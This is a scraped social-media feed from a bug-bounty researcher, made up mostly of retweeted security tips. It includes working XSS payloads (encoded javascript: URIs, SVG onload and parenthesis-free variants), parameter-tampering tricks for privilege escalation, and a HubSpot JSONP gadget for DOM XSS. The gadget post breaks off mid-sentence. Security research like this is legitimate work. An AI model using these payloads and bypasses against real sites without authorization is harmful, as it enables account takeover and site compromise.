Gaurav Kumar(GDATTACKER) me-retweet
Gaurav Kumar(GDATTACKER)
4.7K posts

Gaurav Kumar(GDATTACKER)
@gdattacker
Recon 🔍 | Assets 🌐 | Cybersecurity 🛡️ | World + Web explorer 🌍 | Tasty food keeps me scanning | @HackenProof Security Researcher
New Delhi, India Bergabung Mayıs 2014
3.6K Mengikuti881 Pengikut
Gaurav Kumar(GDATTACKER) me-retweet

The "JavaScript:" XSS payload offers ample room for code obfuscation, as it can be encoded multiple times.
JavaScript:alert(1)
👇🏾
JavaScript:%61lert(1)
👇🏾
JavaScript:%61lert(1)
👇🏾
JavaScript:%26%2337%26%2354%26%2349lert(1)
Lab gym.brutelogic.net/?p05=%3CIframe…
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Gaurav Kumar(GDATTACKER) me-retweet

Quick bug bounty TIPS!
➡️ verified=false → true, “true”, "True", "TRUE", 1, "1", “yes”
➡️ /v3/users/1234 → v1, v0, internal, beta, legacy
➡️ quantity=100 → -1, 0, 9999999999, 1.82376931348623157e+308
➡️ role=”user” → “admin”, “”, null, “system”
➡️ /admin → /Admin, /ADMIN, /aDmIn
Try them now! ✅
Do you have something to add? 👇

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Gaurav Kumar(GDATTACKER) me-retweet

Crash Course on JavaScript for XSS Hunters
Worth watching, liking and sharing!😎
youtube.com/watch?v=lkIFF4…

YouTube
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Gaurav Kumar(GDATTACKER) me-retweet

Some Neat XSS Tricks
</<K><Svg Onload=alert(1)>
</<Kno XSS="><Svg Onload=alert(1)>
<!<K><Svg Onload=alert(1)>
<!<Kno XSS="><Svg Onload=alert(1)>
Test them here:
gym.brutelogic.net/?p05=any
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Gaurav Kumar(GDATTACKER) me-retweet
Gaurav Kumar(GDATTACKER) me-retweet

A Claude Code skill bundle for bug hunting and external red-team work - 51 skills, 15 slash commands, 574+ disclosed-report patterns curated across 24 vulnerability classes, plus enterprise identity + infrastructure attack matrices. github.com/elementalsouls…
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Gaurav Kumar(GDATTACKER) me-retweet

XSS Without Parentheses
location=tagName
<JavaScript:"\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76"/ContentEditable/AutoFocus/OnFocus=location=tagName>
PoC gym.brutelogic.net/?p05=%3CJavaSc…
Ref brutelogic.net/research/docs/…
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Gaurav Kumar(GDATTACKER) me-retweet

New blog from GanaSec:
The 2017 Ghost in the Time Machine Hunting IOTimeSyncFamily on macOS
Our Researcher Ashish Kunwar (@D0rkerDevil) independently discovered CVE-2026-28969 - a use-after-free race condition in Apple's IOTimeSyncFamily kernel extension.
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@HelleLyngSvends @Erroristotle the bjp owned a huge army of trollers and content management groups who do all possible tweeks and tricks but keep fighting. Truth can't escape for long time
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@digitalocean what's going on account stuck at verification not getting reply on support ticket but the amount is being used from account help me out
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Gaurav Kumar(GDATTACKER) me-retweet

During recent testing on a HubSpot-powered target, I needed a JSONP primitive to complete a DOM XSS chain.
One interesting behavior: HubSpot CMS exposes a built-in endpoint in this format:
`/_hcms/forms/embed/v3/form/{portalId}/{formId}?callback=alert`
Example :
`REDACTED. com/_hcms/forms/embed/v3/form/22544793/f411e5de-1b8b-4b19-8e6d-fe003d08cc8b?callback=alert`
It's a JSONP endpoint that wraps the response in whatever function name you pass. Just load it as




